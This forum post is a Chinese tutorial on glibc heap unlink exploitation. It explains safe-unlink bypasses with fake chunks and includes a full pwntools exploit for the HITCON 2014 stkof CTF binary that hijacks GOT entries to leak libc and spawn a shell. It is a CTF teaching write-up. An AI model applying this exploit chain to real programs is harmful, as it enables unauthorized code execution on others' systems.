安全矩阵

 找回密码
 立即注册
搜索
查看: 6394|回复: 0

Glibc堆利用之unlink超详细讲解

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-18 17:47:46 | 显示全部楼层 |阅读模式
原文链接:Glibc堆利用之unlink超详细讲解

  • 原理


当free堆块时,会检测相邻堆块是否空闲。如果空闲(上一块或者下一块),将进行合并(前合并和后合并)。
空闲堆块一般是双向链表链接(fast bin是单向链表。不适用此漏洞),free的堆块与相邻的空闲堆块合并时会将空闲的堆块从链表摘下来。合并成更大的堆块插入到unsortbin链表中。
初始状态p的chunk1非空闲。Chunk2空闲。查询chunk2的前后链表
FD =Pchunk2->fd
BK=Pchunk2->bk



Free掉chunk1检测到相邻chunk空闲。chunk2摘取下来与chunk1合并。放入unsort bin中
FD->bk=BK
BK->fd=FD


  • 漏洞利用(古老的UNLINK)
(32位)通过其他漏洞伪造pchunk2,当free掉pchunk1时

FD=Pchunk2->fd=free_addr-12
BK =Pchunk2->bk=shellcode_addr



将p的chunk2z摘取下来。FD和BK
FD->bk=BK
BK->fd=FD


当执行free时,会执行shellcode处的的代码,但是应该注意的是shellcode+8处被修改为free_addr-12.要想办法绕过。

  • 当前版本unlink

也就是说在查pchunk2前后链表的时候,会检测FD->bk和BK->fd是不是都指向p
如下图所示。之前的利用方式不可使用。方便理解unlink的过程
FD=Pchunk2->fd=free_addr-12
BK=Pchunk2->bk=shellcode_addr


可以使用伪造的方式绕过检测
fakeFD-> bk == P <=> *(fakeFD + 12) == P
fakeBK-> fd == P <=> *(fakeBK + 8) == P
当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:
fakeFD-> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
fakeBK-> fd = fakeFD <=> *(fakeBK + 8) = fakeFD


或者



  • 例题2014 HITCON stkof
输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 global






read_in:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况



free:根据指定索引,释放已经分配的内存块


由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。所以Globals[1] 触发器到malloc缓冲区的io函数
  1. alloc(0x100)  # idx 1
  2. alloc(0x30) # idx 2
  3. alloc(0x80) # idx 3
复制代码



  1. payload = p64(0)  #prev_size

  2. payload += p64(0x20)  #size
  3. payload += p64(head + 16 - 0x18)  #fd
  4. payload += p64(head + 16 - 0x10)  #bk
  5. payload += p64(0x20)  # 下一个 chunk的 prev_size 用于通过检测
  6. payload = payload.ljust(0x30, 'a')

  7. # 堆溢出global[3]的 chunk'的prev_size
  8. payload += p64(0x30)
  9. # 跳过检测上一块的chunk时free的
  10. payload += p64(0x90)
  11. edit(2, len(payload), payload)
复制代码




free(3)检测上一块空闲与上一块合并。触发unlink




  1. payload = 'a' * 8 + p64(stkof.got['free'])+ p64(stkof.got['puts']) + p64(stkof.got['atoi'])
  2. edit(2, len(payload), payload)
复制代码








  1. payload = p64(stkof.plt['puts'])
  2. edit(0, len(payload), payload)
  3. free(1)
  4. #put_plt(puts_got)
复制代码




  1. payload = p64(system_addr)
  2. edit(2, len(payload), payload)
  3. p.send(p64(binsh_addr))
  4. # atoi(binsh_addr)=>system(bin/sh)
复制代码





完整exp:
  1. context.terminal= ['gnome-terminal', '-x', 'sh', '-c']
  2. ifargs['DEBUG']:
  3.     context.log_level = 'debug'
  4. context.binary ="./stkof"
  5. stkof =ELF('./stkof')
  6. ifargs['REMOTE']:
  7.     p = remote('127.0.0.1', 7777)
  8. else:
  9.     p = process("./stkof")
  10. log.info('PID: '+ str(proc.pidof(p)[0]))
  11. libc =ELF('./libc.so.6')
  12. head = 0x602140

  13. def alloc(size):
  14.     p.sendline('1')
  15.     p.sendline(str(size))
  16.     p.recvuntil('OK\n')

  17. def edit(idx,size, content):
  18.     p.sendline('2')
  19.     p.sendline(str(idx))
  20.     p.sendline(str(size))
  21.     p.send(content)
  22.     p.recvuntil('OK\n')

  23. def free(idx):
  24.     p.sendline('3')
  25.     p.sendline(str(idx))

  26. def exp():
  27.     # trigger to malloc buffer for io function
  28.     alloc(0x100)  # idx 1
  29.     # begin
  30.     alloc(0x30) # idx 2
  31.     # small chunk size in order to triggerunlink
  32.     alloc(0x80) # idx 3
  33.     # a fake chunk at global[2]=head+16 who'ssize is 0x20
  34.     payload = p64(0)  #prev_size
  35.     payload += p64(0x20)  #size
  36.     payload += p64(head + 16 - 0x18)  #fd
  37.     payload += p64(head + 16 - 0x10)  #bk
  38.     payload += p64(0x20)  # next chunk's prev_size bypass the check
  39.     payload = payload.ljust(0x30, 'a')
  40.     # overwrite global[3]'s chunk's prev_size
  41.     # make it believe that prev chunk is atglobal[2]
  42.     payload += p64(0x30)
  43.     # make it believe that prev chunk is free
  44.     payload += p64(0x90)
  45.     edit(2, len(payload), payload)

  46.     # unlink fake chunk, so global[2]=&(global[2])-0x18=head-8
  47.     free(3)
  48.     p.recvuntil('OK\n')

  49.     # overwrite global[0] = free@got,global[1]=puts@got, global[2]=atoi@got
  50.     payload = 'a' * 8 + p64(stkof.got['free'])+ p64(stkof.got['puts']) + p64(
  51.         stkof.got['atoi'])
  52.     edit(2, len(payload), payload)

  53.     # edit free@got to puts@plt
  54.     payload = p64(stkof.plt['puts'])
  55.     edit(0, len(payload), payload)

  56.     # free global[1] to leak puts addr
  57.     free(1)
  58.     puts_addr = p.recvuntil('\nOK\n',drop=True).ljust(8, '\x00')
  59.     puts_addr = u64(puts_addr)
  60.     log.success('puts addr: ' + hex(puts_addr))
  61.     libc_base = puts_addr -libc.symbols['puts']
  62.     binsh_addr = libc_base +next(libc.search('/bin/sh'))
  63.     system_addr = libc_base +libc.symbols['system']
  64.     log.success('libc base: ' + hex(libc_base))
  65.     log.success('/bin/sh addr: ' +hex(binsh_addr))
  66.     log.success('system addr: ' +hex(system_addr))
  67.     # modify atoi@got to system addr
  68.     payload = p64(system_addr)
  69.     edit(2, len(payload), payload)
  70.     p.send(p64(binsh_addr))
  71.     p.interactive()

  72. if __name__ =="__main__":
  73.     exp()
复制代码
























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 17:38 , Processed in 0.014899 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表